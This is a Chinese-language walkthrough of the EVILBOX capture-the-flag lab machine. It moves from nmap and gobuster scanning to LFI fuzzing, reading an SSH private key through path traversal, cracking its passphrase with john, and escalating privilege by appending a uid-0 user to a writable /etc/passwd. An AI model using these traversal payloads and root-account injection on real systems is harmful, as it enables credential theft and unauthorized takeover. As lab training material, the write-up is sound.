EVILBOX靶机渗透
前期准备
靶机IP:192.168.11.135
如果靶机获取不到IP 需要进单用户模式修改网卡配置
信息收集
使用nmap扫描
nmap -A -T4 192.168.11.135
可以看到开放了80、22端口
访问80端口发现没有有用的信息,对目录进行扫描
gobuster dir -u http://192.168.11.135/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
发现 /secret 目录下是空的 但是不报错
使用dirsearch
dirsearch -u "192.168.11.135"
在robots中发现一个字符串 似乎是用户名
对子目录进行扫描
gobuster dir -u http://192.168.11.135/secret -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt
看起来没有什么东西,fuzz一下文件包含。
wfuzz -u http://192.168.11.135/secret/evil.php?FUZZ=../../../../../../etc/passwd -w /usr/share/seclists/Discovery/Web-Content/common.txt --hw 0
使用的是 seclists的字典
我们这里使用伪协议读取一下evil.php的源码
http://192.168.11.135/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php
没有任何过滤,因为前期扫描到还开放了ssh服务。我们尝试读取一下mowree 用户的是否存在私钥泄露
一般用户的 .ssh 目录下会存在三个文件:
-
id_rsa : 私钥。
-
authorized_keys : 认证关键字文件。
-
id_rsa.pub : 公钥。
http://192.168.11.135/secret/evil.php?command=../../../../../../home/mowree/.ssh/id_rsa
获取私钥,使用 wget 下载到kali,这时使用私钥登录发现需要密码,使用john破解密码,
wget http://192.168.11.135/secret/evil.phpcommand=../../../../../../home/mowree/.ssh/id_rsa -o id_rsa
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
得到了密码: unicorn
登录之前 要给id_rsa 700权限。
提权
我使用的是网上的提权脚本,kali开启http服务
python -m http.server
靶机下载linpeas.sh 并执行,
/etc/passwd 文件有写入权限,在passwd文件中追加一个自定义root权限用户。
openssl passwd -1 -salt test
把生成的密码按照root用户的格式追加进去。
echo 'test:$1$test$pi/xDtU5WFVRqYS6BMU8X/:0:0::/root:/bin/bash' >>/etc/passwd
切换test
总结
- 目录扫描的碰到可疑目录要继续扫描其子目录,此处要限定文件后缀,如html,php,txt
- john 工具 解密 ssh 私钥的方法
- 碰到空白页面尝试fuzz 文件包含。